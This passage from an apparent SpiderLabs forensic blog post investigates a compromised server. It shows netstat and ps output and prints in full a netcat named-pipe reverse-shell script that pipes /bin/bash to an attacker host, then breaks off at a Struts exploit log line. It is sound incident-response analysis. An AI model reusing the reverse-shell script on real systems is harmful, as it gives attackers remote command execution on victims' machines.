During a recent investigation, SpiderLabs was presented with evidence that appeared to be contradictory. Evidence from firewall logs and remediation actions taken by the client did not tally with the evidence collected from the compromised system. This blog post discusses how SpiderLabs investigators analysed systems to explain this.
SpiderLabs was engaged following the discovery of malicious software and unusual activity on an organisation's systems. Upon discovering the breach on August 16, the client pulled the network cable from the system to stop the hackers and contain the compromise. No changes were made to the system and SpiderLabs first responders were dispatched to perform forensic data collection.
As the compromised system had been left running without modification, it was possible to collect precious live data, including active network connections and processes. The output of the 'netstat –na' command, run on August 20, showed an active connection made by a reverse shell to an attacker's IP - 300.300.300.300:
#netstat –na
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 10.10.10.10:35317 300.300.300.300:443 ESTABLISHED
This connection was suspicious and led the investigators to dig deeper. The 'ps auxwww' shows the active processes running on a system, and in this case the source of the connection was Netcat (nc):
#ps auxwww
USER PID %CPU %MEM STAT START TIME COMMAND
user 19679 0.0 0.0 S Jul25 0:00 nc 300.300.300.300 443
Searching for the origin of the source of this command led back to a file called /tmp/dns. The full contents of which were:
#!/bin/sh
cd /tmp
while true;do
rm backpipe
mknod backpipe p
nc 300.300.300.300 443 0<backpipe | /bin/bash 1>backpipe
sleep 30
done
This evidence all pointed to the fact that an active reverse shell was active at the time of investigation. However, the server had its network cable disconnected three days before SpiderLabs were called onsite. How could the reverse shell still be active if there was no network connection?
Investigation of the server logs showed the reverse shell script being introduced to the system using a known Apache Struts exploit. Below is an abridged log record of a request to the apache instance running on the server:
Jul 25 09:25:06: 300.300.300.300 "GET /signin.action?redirect:$